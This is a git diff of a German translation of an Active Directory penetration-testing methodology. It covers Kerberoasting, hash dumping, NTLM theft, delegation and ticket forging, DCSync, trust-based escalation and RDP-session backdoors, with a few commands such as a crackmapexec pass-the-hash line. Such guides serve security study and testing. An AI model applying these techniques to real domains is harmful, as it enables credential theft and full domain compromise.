> Auch wenn dieser Abschnitt zur Enumeration klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf den zur CMD, PowerShell, Powerview und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
### Kerberoast
Kerberoasting beinhaltet das Erhalten von **TGS-Tickets**, die von Diensten verwendet werden, die an Benutzerkonten gebunden sind, und das Cracken ihrer Verschlüsselung—die auf Benutzerpasswörtern basiert—**offline**.
Kerberoasting beinhaltet das Erhalten von **TGS-Tickets**, die von Diensten verwendet werden, die an Benutzerkonten gebunden sind, und das Knacken ihrer Verschlüsselung—die auf Benutzerpasswörtern basiert—**offline**.
Mehr dazu in:
@ -189,7 +189,7 @@ Sobald Sie einige Anmeldeinformationen erhalten haben, könnten Sie überprüfen
### Lokale Privilegieneskalation
Wenn Sie Anmeldeinformationen oder eine Sitzung als regulärer Domänenbenutzer kompromittiert haben und Sie mit diesem Benutzer **Zugriff** auf **irgendeine Maschine in der Domäne** haben, sollten Sie versuchen, Ihren Weg zur **lokalen Eskalation von Privilegien und zum Ausspähen von Anmeldeinformationen** zu finden. Dies liegt daran, dass Sie nur mit lokalen Administratorrechten in der Lage sind, **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) zu **dumpen**.
Wenn Sie Anmeldeinformationen oder eine Sitzung als regulärer Domänenbenutzer kompromittiert haben und Sie mit diesem Benutzer **Zugriff** auf **irgendeine Maschine in der Domäne** haben, sollten Sie versuchen, Ihren Weg zur **lokalen Eskalation von Privilegien und zum Ausspähen von Anmeldeinformationen** zu finden. Dies liegt daran, dass Sie nur mit lokalen Administratorrechten in der Lage sind, **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) zu dumpen.
Es gibt eine vollständige Seite in diesem Buch über [**lokale Privilegieneskalation in Windows**](../windows-local-privilege-escalation/) und eine [**Checkliste**](../checklist-windows-privilege-escalation.md). Vergessen Sie auch nicht, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) zu verwenden.
@ -215,7 +215,7 @@ Jetzt, da Sie einige grundlegende Anmeldeinformationen haben, sollten Sie überp
### NTLM-Anmeldeinformationen stehlen
Wenn Sie **auf andere PCs oder Freigaben zugreifen können**, könnten Sie **Dateien platzieren** (wie eine SCF-Datei), die, wenn sie irgendwie aufgerufen werden, **eine NTML-Authentifizierung gegen Sie auslösen**, sodass Sie **die NTLM-Herausforderung stehlen** können, um sie zu knacken:
Wenn Sie **auf andere PCs oder Freigaben zugreifen können**, könnten Sie **Dateien platzieren** (wie eine SCF-Datei), die, wenn sie irgendwie aufgerufen werden, **eine NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung stehlen** können, um sie zu knacken:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQL-Missbrauch & Vertrauenswürdige Links
Wenn ein Benutzer Berechtigungen hat, um **auf MSSQL-Instanzen zuzugreifen**, könnte er in der Lage sein, es zu **benutzen, um Befehle** auf dem MSSQL-Host auszuführen (wenn er als SA läuft), den NetNTLM **Hash** zu **stehlen** oder sogar einen **Relay**-**Angriff** durchzuführen.\
Außerdem, wenn eine MSSQL-Instanz von einer anderen MSSQL-Instanz als vertrauenswürdig (Datenbanklink) betrachtet wird. Wenn der Benutzer Berechtigungen über die vertrauenswürdige Datenbank hat, wird er in der Lage sein, **die Vertrauensbeziehung zu nutzen, um auch in der anderen Instanz Abfragen auszuführen**. Diese Vertrauensstellungen können verkettet werden und irgendwann könnte der Benutzer in der Lage sein, eine falsch konfigurierte Datenbank zu finden, in der er Befehle ausführen kann.\
Außerdem, wenn eine MSSQL-Instanz von einer anderen MSSQL-Instanz als vertrauenswürdig (Datenbanklink) betrachtet wird. Wenn der Benutzer Berechtigungen über die vertrauenswürdige Datenbank hat, wird er in der Lage sein, **die Vertrauensbeziehung zu nutzen, um auch in der anderen Instanz Abfragen auszuführen**. Diese Vertrauensstellungen können verkettet werden, und irgendwann könnte der Benutzer in der Lage sein, eine falsch konfigurierte Datenbank zu finden, in der er Befehle ausführen kann.\
**Die Links zwischen Datenbanken funktionieren sogar über Waldvertrauensstellungen hinweg.**
{{#ref}}
@ -295,7 +295,7 @@ unconstrained-delegation.md
### Eingeschränkte Delegation
Wenn ein Benutzer oder Computer für "Eingeschränkte Delegation" zugelassen ist, kann er **jeden Benutzer impersonieren, um auf einige Dienste auf einem Computer zuzugreifen**.\
Wenn Sie dann den **Hash** dieses Benutzers/Computers **kompromittieren**, können Sie **jeden Benutzer impersonieren** (sogar Domain-Admins), um auf einige Dienste zuzugreifen.
Wenn Sie dann den **Hash** dieses Benutzers/Computers **kompromittieren**, können Sie **jeden Benutzer** (sogar Domain-Admins) impersonieren, um auf einige Dienste zuzugreifen.
{{#ref}}
constrained-delegation.md
@ -303,7 +303,7 @@ constrained-delegation.md
### Ressourcenbasierte Eingeschränkte Delegation
Das Vorhandensein von **WRITE**-Berechtigungen auf einem Active Directory-Objekt eines Remote-Computers ermöglicht die Ausführung von Code mit **erhöhten Berechtigungen**:
Das Vorhandensein von **WRITE**-Berechtigungen für ein Active Directory-Objekt eines Remote-Computers ermöglicht die Ausführung von Code mit **erhöhten Berechtigungen**:
{{#ref}}
resource-based-constrained-delegation.md
@ -319,13 +319,13 @@ acl-persistence-abuse/
### Missbrauch des Druckerspooler-Dienstes
Das Entdecken eines **Spool-Dienstes, der** innerhalb der Domäne **lauscht**, kann **ausgenutzt** werden, um **neue Anmeldeinformationen zu erwerben** und **Berechtigungen zu eskalieren**.
Das Entdecken eines **Spool-Dienstes, der** im Domänenbereich **lauscht**, kann **ausgenutzt** werden, um **neue Anmeldeinformationen zu erwerben** und **Berechtigungen zu eskalieren**.
{{#ref}}
printers-spooler-service-abuse.md
{{#endref}}
### Missbrauch von Drittanbieter-Sitzungen
### Missbrauch von Drittanbietersitzungen
Wenn **andere Benutzer** die **kompromittierte** Maschine **zugreifen**, ist es möglich, **Anmeldeinformationen aus dem Speicher zu sammeln** und sogar **Beacons in ihren Prozessen zu injizieren**, um sie zu impersonieren.\
In der Regel greifen Benutzer über RDP auf das System zu, daher hier, wie man ein paar Angriffe über Drittanbieter-RDP-Sitzungen durchführt:
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden in Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden im Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
{{#ref}}
laps.md
@ -344,7 +344,7 @@ laps.md
### Zertifikatsdiebstahl
**Zertifikate** von der kompromittierten Maschine zu **sammeln**, könnte ein Weg sein, um Berechtigungen innerhalb der Umgebung zu eskalieren:
**Das Sammeln von Zertifikaten** von der kompromittierten Maschine könnte eine Möglichkeit sein, Berechtigungen innerhalb der Umgebung zu eskalieren:
{{#ref}}
ad-certificates/certificate-theft.md
@ -362,11 +362,11 @@ ad-certificates/domain-escalation.md
### Dumpen von Domain-Anmeldeinformationen
Sobald Sie **Domain Admin** oder sogar besser **Enterprise Admin**-Berechtigungen erhalten, können Sie die **Domänendatenbank** dumpen: _ntds.dit_.
Sobald Sie **Domain Admin** oder noch besser **Enterprise Admin**-Berechtigungen erhalten, können Sie die **Domänendatenbank** dumpen: _ntds.dit_.
[**Weitere Informationen über den DCSync-Angriff finden Sie hier**](dcsync.md).
[**Weitere Informationen zum DCSync-Angriff finden Sie hier**](dcsync.md).
[**Weitere Informationen darüber, wie man die NTDS.dit stiehlt, finden Sie hier**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**Weitere Informationen dazu, wie man die NTDS.dit stiehlt, finden Sie hier**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc als Persistenz
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
Der **Silver Ticket-Angriff** erstellt ein **legitimes Ticket Granting Service (TGS)-Ticket** für einen bestimmten Dienst, indem der **NTLM-Hash** verwendet wird (zum Beispiel der **Hash des PC-Kontos**). Diese Methode wird verwendet, um **auf die Dienstberechtigungen** zuzugreifen.
Der **Silver Ticket-Angriff** erstellt ein **legitimes Ticket Granting Service (TGS)-Ticket** für einen bestimmten Dienst, indem der **NTLM-Hash** (zum Beispiel der **Hash des PC-Kontos**) verwendet wird. Diese Methode wird verwendet, um **auf die Dienstberechtigungen** zuzugreifen.
{{#ref}}
silver-ticket.md
@ -419,7 +419,7 @@ diamond-ticket.md
### **Zertifikate Konto-Persistenz**
**Zertifikate eines Kontos zu haben oder in der Lage zu sein, sie anzufordern**, ist eine sehr gute Möglichkeit, um in dem Benutzerkonto persistieren zu können (auch wenn er das Passwort ändert):
**Zertifikate eines Kontos zu haben oder sie anfordern zu können** ist eine sehr gute Möglichkeit, um in dem Benutzerkonto persistieren zu können (auch wenn er das Passwort ändert):
{{#ref}}
ad-certificates/account-persistence.md
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
Es registriert einen **neuen Domain Controller** im AD und verwendet ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** das Hinterlassen von **Protokollen** bezüglich der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich innerhalb der **Root-Domäne** befinden.\
Es registriert einen **neuen Domain Controller** im AD und verwendet ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** das Hinterlassen von **Protokollen** bezüglich der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich im **Root-Domain** befinden.\
Beachten Sie, dass bei Verwendung falscher Daten ziemlich hässliche Protokolle erscheinen werden.
{{#ref}}
@ -498,7 +498,7 @@ Zuvor haben wir darüber gesprochen, wie man Berechtigungen eskalieren kann, wen
laps.md
{{#endref}}
## Waldprivilegieneskalation - Domänenvertrauen
## Wald-Berechtigungseskalation - Domänenvertrauen
Microsoft betrachtet den **Wald** als die Sicherheitsgrenze. Dies impliziert, dass **die Kompromittierung einer einzelnen Domäne potenziell zur Kompromittierung des gesamten Waldes führen könnte**.
@ -506,7 +506,7 @@ Microsoft betrachtet den **Wald** als die Sicherheitsgrenze. Dies impliziert, da
Ein [**Domänenvertrauen**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der es einem Benutzer aus einer **Domäne** ermöglicht, auf Ressourcen in einer anderen **Domäne** zuzugreifen. Es schafft im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen, die es ermöglicht, dass Authentifizierungsüberprüfungen nahtlos fließen. Wenn Domänen ein Vertrauen einrichten, tauschen sie spezifische **Schlüssel** innerhalb ihrer **Domain Controllers (DCs)** aus und behalten diese, was für die Integrität des Vertrauens entscheidend ist.
In einem typischen Szenario muss ein Benutzer, der auf einen Dienst in einer **vertrauenswürdigen Domäne** zugreifen möchte, zunächst ein spezielles Ticket anfordern, das als **inter-realm TGT** bekannt ist, von seinem eigenen Domänen-DC. Dieses TGT ist mit einem gemeinsamen **Schlüssel** verschlüsselt, auf den sich beide Domänen geeinigt haben. Der Benutzer präsentiert dann dieses TGT dem **DC der vertrauenswürdigen Domäne**, um ein Dienstticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauenswürdigen Domäne gibt dieser ein TGS aus, das dem Benutzer den Zugriff auf den Dienst gewährt.
In einem typischen Szenario muss ein Benutzer, der auf einen Dienst in einer **vertrauenswürdigen Domäne** zugreifen möchte, zunächst ein spezielles Ticket anfordern, das als **inter-realm TGT** bekannt ist, von dem DC seiner eigenen Domäne. Dieses TGT ist mit einem gemeinsamen **Schlüssel** verschlüsselt, auf den sich beide Domänen geeinigt haben. Der Benutzer präsentiert dann dieses TGT dem **DC der vertrauenswürdigen Domäne**, um ein Dienstticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauenswürdigen Domäne gibt dieser ein TGS aus, das dem Benutzer den Zugriff auf den Dienst gewährt.
**Schritte**:
@ -514,7 +514,7 @@ In einem typischen Szenario muss ein Benutzer, der auf einen Dienst in einer **v
2. DC1 gibt ein neues TGT aus, wenn der Client erfolgreich authentifiziert wird.
3. Der Client fordert dann ein **inter-realm TGT** von DC1 an, das benötigt wird, um auf Ressourcen in **Domäne 2** zuzugreifen.
4. Das inter-realm TGT ist mit einem **Vertrauensschlüssel** verschlüsselt, der zwischen DC1 und DC2 im Rahmen des zweiseitigen Domänenvertrauens geteilt wird.
5. Der Client bringt das inter-realm TGT zu **Domäne 2's Domain Controller (DC2)**.
5. Der Client bringt das inter-realm TGT zu **Domain 2's Domain Controller (DC2)**.
6. DC2 überprüft das inter-realm TGT mit seinem gemeinsamen Vertrauensschlüssel und gibt, wenn es gültig ist, ein **Ticket Granting Service (TGS)** für den Server in Domäne 2 aus, auf den der Client zugreifen möchte.
7. Schließlich präsentiert der Client dieses TGS dem Server, das mit dem Hash des Serverkontos verschlüsselt ist, um Zugriff auf den Dienst in Domäne 2 zu erhalten.
@ -526,12 +526,12 @@ Wenn Domäne A Domäne B vertraut, ist A die vertrauende Domäne und B die vertr
**Verschiedene vertrauende Beziehungen**
- **Eltern-Kind-Vertrauen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch ein zweiseitiges transitives Vertrauen zu ihrer Elterndomäne hat. Im Wesentlichen bedeutet dies, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
- **Quervertrauen**: Auch als "Shortcut-Trusts" bezeichnet, werden diese zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zum Wurzelwald und dann zur Ziel-Domäne reisen. Durch die Erstellung von Querverbindungen wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
- **Externe Vertrauensstellungen**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Vertrauensstellungen nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht durch ein Waldvertrauen verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Vertrauensstellungen erhöht.
- **Baumwurzel-Vertrauen**: Diese Vertrauensstellungen werden automatisch zwischen der Wurzel-Domäne des Waldes und einer neu hinzugefügten Baumwurzel eingerichtet. Obwohl sie nicht häufig vorkommen, sind Baumwurzel-Vertrauen wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, sodass sie einen einzigartigen Domänennamen beibehalten können und eine zweiseitige Transitivität gewährleisten. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Waldvertrauen**: Diese Art von Vertrauen ist ein zweiseitiges transitives Vertrauen zwischen zwei Wurzel-Domänen des Waldes, das ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
- **MIT-Vertrauen**: Diese Vertrauensstellungen werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Vertrauen sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
- **Eltern-Kind-Vertrauen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch ein zweiseitiges transitives Vertrauen zu ihrer Elterndomäne hat. Das bedeutet im Wesentlichen, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
- **Quervertrauensstellungen**: Auch als "Shortcut-Trusts" bezeichnet, werden diese zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zum Wurzelwald und dann zur Ziel-Domäne reisen. Durch die Erstellung von Querverbindungen wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
- **Externe Vertrauensstellungen**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Vertrauensstellungen nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht über ein Waldvertrauen verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Vertrauensstellungen erhöht.
- **Baum-Wurzel-Vertrauensstellungen**: Diese Vertrauensstellungen werden automatisch zwischen der Wurzel-Domäne des Waldes und einer neu hinzugefügten Baumwurzel eingerichtet. Obwohl sie nicht häufig vorkommen, sind Baum-Wurzel-Vertrauensstellungen wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, damit sie einen einzigartigen Domänennamen beibehalten und eine zweiseitige Transitivität gewährleisten können. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Waldvertrauensstellungen**: Diese Art von Vertrauen ist ein zweiseitiges transitives Vertrauen zwischen zwei Wurzel-Domänen des Waldes, das ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
- **MIT-Vertrauensstellungen**: Diese Vertrauensstellungen werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Vertrauensstellungen sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
#### Weitere Unterschiede in **vertrauenden Beziehungen**
@ -551,7 +551,7 @@ Angreifer könnten über drei Hauptmechanismen auf Ressourcen in einer anderen D
- **Mitgliedschaft in Gruppen der Fremddomäne**: Prinzipale können auch Mitglieder von Gruppen innerhalb der Fremddomäne sein. Die Wirksamkeit dieser Methode hängt jedoch von der Art des Vertrauens und dem Umfang der Gruppe ab.
- **Zugriffskontrolllisten (ACLs)**: Prinzipale könnten in einer **ACL** angegeben sein, insbesondere als Entitäten in **ACEs** innerhalb einer **DACL**, die ihnen Zugriff auf spezifische Ressourcen gewährt. Für diejenigen, die tiefer in die Mechanik von ACLs, DACLs und ACEs eintauchen möchten, ist das Whitepaper mit dem Titel “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” eine wertvolle Ressource.
### Kind-zu-Eltern-Waldprivilegieneskalation
### Kind-zu-Eltern-Wald-Berechtigungseskalation
```
Get-DomainTrust
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> Es gibt **2 vertrauenswürdige Schlüssel**, einen für _Child --> Parent_ und einen weiteren für _Parent_ --> _Child_.\
> Es gibt **2 vertrauenswürdige Schlüssel**, einen für _Child --> Parent_ und einen anderen für _Parent_ --> _Child_.\
> Sie können den aktuellen Schlüssel des aktuellen Domäne mit folgendem Befehl abrufen:
>
> ```bash
@ -580,13 +580,13 @@ Erhöhen Sie die Berechtigungen als Enterprise-Administrator zur Child/Parent-Do
sid-history-injection.md
{{#endref}}
#### Ausnutzen des beschreibbaren Configuration NC
#### Ausnutzen der beschreibbaren Konfiguration NC
Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient als zentrales Repository für Konfigurationsdaten in Active Directory (AD)-Umgebungen. Diese Daten werden auf jeden Domain Controller (DC) innerhalb des Waldes repliziert, wobei beschreibbare DCs eine beschreibbare Kopie des Configuration NC führen. Um dies auszunutzen, muss man **SYSTEM-Rechte auf einem DC** haben, vorzugsweise auf einem Child DC.
**GPO mit Root-DC-Standort verknüpfen**
Der Container der Sites im Configuration NC enthält Informationen über alle domänenverbundenen Computerstandorte innerhalb des AD-Waldes. Durch das Arbeiten mit SYSTEM-Rechten auf einem DC können Angreifer GPOs mit den Root-DC-Standorten verknüpfen. Diese Aktion könnte die Root-Domäne gefährden, indem sie die auf diese Standorte angewendeten Richtlinien manipuliert.
Der Container der Sites im Configuration NC enthält Informationen über alle domänenverbundenen Computerstandorte innerhalb des AD-Waldes. Durch das Arbeiten mit SYSTEM-Rechten auf einem DC können Angreifer GPOs mit den Root-DC-Standorten verknüpfen. Diese Aktion könnte die Root-Domäne gefährden, indem die auf diese Standorte angewendeten Richtlinien manipuliert werden.
Für detaillierte Informationen könnte man die Forschung zu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) erkunden.
@ -598,13 +598,13 @@ Eine detaillierte Analyse findet sich in der Diskussion über [Golden gMSA Trust
**Schema-Änderungsangriff**
Diese Methode erfordert Geduld, da auf die Erstellung neuer privilegierter AD-Objekte gewartet werden muss. Mit SYSTEM-Rechten kann ein Angreifer das AD-Schema ändern, um einem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
Diese Methode erfordert Geduld, um die Erstellung neuer privilegierter AD-Objekte abzuwarten. Mit SYSTEM-Rechten kann ein Angreifer das AD-Schema ändern, um jedem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
Weiterführende Informationen sind verfügbar zu [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**Von DA zu EA mit ADCS ESC5**
Die ADCS ESC5-Schwachstelle zielt darauf ab, die Kontrolle über Public Key Infrastructure (PKI)-Objekte zu erlangen, um eine Zertifikatvorlage zu erstellen, die die Authentifizierung als beliebiger Benutzer im Wald ermöglicht. Da PKI-Objekte im Configuration NC gespeichert sind, ermöglicht das Kompromittieren eines beschreibbaren Child DC die Durchführung von ESC5-Angriffen.
Die ADCS ESC5-Sicherheitsanfälligkeit zielt darauf ab, die Kontrolle über Public Key Infrastructure (PKI)-Objekte zu erlangen, um eine Zertifikatvorlage zu erstellen, die die Authentifizierung als beliebiger Benutzer im Wald ermöglicht. Da PKI-Objekte im Configuration NC gespeichert sind, ermöglicht das Kompromittieren eines beschreibbaren Child DC die Durchführung von ESC5-Angriffen.
Weitere Details dazu können in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) nachgelesen werden. In Szenarien ohne ADCS hat der Angreifer die Möglichkeit, die erforderlichen Komponenten einzurichten, wie in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) besprochen.
@ -639,13 +639,13 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
In diesem Szenario **vertraut Ihre Domäne** einigen **Befugnissen** einem Principal aus **anderen Domänen**.
Wenn jedoch eine **Domäne vertraut** wird von der vertrauenden Domäne, erstellt die vertrauenswürdige Domäne **einen Benutzer** mit einem **vorhersehbaren Namen**, der als **Passwort das vertrauenswürdige Passwort** verwendet. Das bedeutet, dass es möglich ist, **auf einen Benutzer aus der vertrauenden Domäne zuzugreifen, um in die vertrauenswürdige zu gelangen**, um sie zu enumerieren und zu versuchen, weitere Berechtigungen zu eskalieren:
Wenn jedoch eine **Domäne vertraut wird** von der vertrauenden Domäne, erstellt die vertrauenswürdige Domäne **einen Benutzer** mit einem **vorhersehbaren Namen**, der als **Passwort das vertrauenswürdige Passwort** verwendet. Das bedeutet, dass es möglich ist, **auf einen Benutzer aus der vertrauenden Domäne zuzugreifen, um in die vertrauenswürdige zu gelangen**, um sie zu enumerieren und zu versuchen, weitere Berechtigungen zu eskalieren:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Eine weitere Möglichkeit, die vertrauenswürdige Domäne zu kompromittieren, besteht darin, einen [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) zu finden, der in die **entgegengesetzte Richtung** des Domänenvertrauens erstellt wurde (was nicht sehr häufig vorkommt).
Eine weitere Möglichkeit, die vertrauenswürdige Domäne zu kompromittieren, besteht darin, einen [**SQL vertrauenswürdigen Link**](abusing-ad-mssql.md#mssql-trusted-links) zu finden, der in die **entgegengesetzte Richtung** des Domänenvertrauens erstellt wurde (was nicht sehr häufig vorkommt).
Eine weitere Möglichkeit, die vertrauenswürdige Domäne zu kompromittieren, besteht darin, auf einem Rechner zu warten, auf den ein **Benutzer aus der vertrauenswürdigen Domäne zugreifen kann**, um sich über **RDP** anzumelden. Dann könnte der Angreifer Code in den RDP-Sitzungsprozess injizieren und **auf die Ursprungsdomäne des Opfers** von dort aus zugreifen.\
Darüber hinaus, wenn das **Opfer seine Festplatte eingebunden hat**, könnte der Angreifer über den **RDP-Sitzungsprozess** **Backdoors** im **Autostart-Ordner der Festplatte** speichern. Diese Technik wird als **RDPInception** bezeichnet.
@ -658,7 +658,7 @@ rdp-sessions-abuse.md
### **SID-Filterung:**
- Das Risiko von Angriffen, die das SID-Historienattribut über Waldvertrauen ausnutzen, wird durch SID-Filterung gemindert, die standardmäßig bei allen inter-waldlichen Vertrauensstellungen aktiviert ist. Dies basiert auf der Annahme, dass intra-waldliche Vertrauensstellungen sicher sind, wobei der Wald, nicht die Domäne, als Sicherheitsgrenze gemäß Microsofts Standpunkt betrachtet wird.
- Das Risiko von Angriffen, die das SID-Historienattribut über Waldvertrauen ausnutzen, wird durch die SID-Filterung gemindert, die standardmäßig bei allen inter-waldlichen Vertrauensstellungen aktiviert ist. Dies basiert auf der Annahme, dass intra-waldliche Vertrauensstellungen sicher sind, wobei der Wald, nicht die Domäne, als Sicherheitsgrenze gemäß Microsofts Standpunkt betrachtet wird.
- Es gibt jedoch einen Haken: Die SID-Filterung könnte Anwendungen und den Benutzerzugriff stören, was gelegentlich zu ihrer Deaktivierung führt.
### **Selektive Authentifizierung:**
@ -670,7 +670,9 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## Einige allgemeine Abwehrmaßnahmen
@ -684,7 +686,7 @@ rdp-sessions-abuse.md
### **Implementierung von Täuschungstechniken**
- Die Implementierung von Täuschung umfasst das Setzen von Fallen, wie z.B. Lockvogelbenutzern oder -computern, mit Funktionen wie Passwörtern, die nicht ablaufen oder als vertrauenswürdig für Delegation gekennzeichnet sind. Ein detaillierter Ansatz umfasst die Erstellung von Benutzern mit spezifischen Rechten oder deren Hinzufügen zu hochprivilegierten Gruppen.
- Die Implementierung von Täuschung umfasst das Setzen von Fallen, wie z.B. Lockvogelbenutzern oder -computern, mit Funktionen wie Passwörtern, die nicht ablaufen oder als vertrauenswürdig für Delegation gekennzeichnet sind. Ein detaillierter Ansatz umfasst die Erstellung von Benutzern mit spezifischen Rechten oder deren Hinzufügung zu hochprivilegierten Gruppen.
- Ein praktisches Beispiel umfasst die Verwendung von Tools wie: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Weitere Informationen zur Bereitstellung von Täuschungstechniken finden Sie unter [Deploy-Deception auf GitHub](https://github.com/samratashok/Deploy-Deception).

8
src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
View File

@ -45,17 +45,19 @@ Wenn ein Angreifer bereits einen Computer mit [Unbeschränkter Delegation](uncon
## RCP Zwangs-Authentifizierung
{% embed url="https://github.com/p0dalirius/Coercer" %}
{{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange
Der `PrivExchange`-Angriff ist das Ergebnis eines Fehlers, der in der **Exchange Server `PushSubscription`-Funktion** gefunden wurde. Diese Funktion ermöglicht es, dass der Exchange-Server von jedem Domänenbenutzer mit einem Postfach gezwungen wird, sich bei einem beliebigen vom Client bereitgestellten Host über HTTP zu authentifizieren.
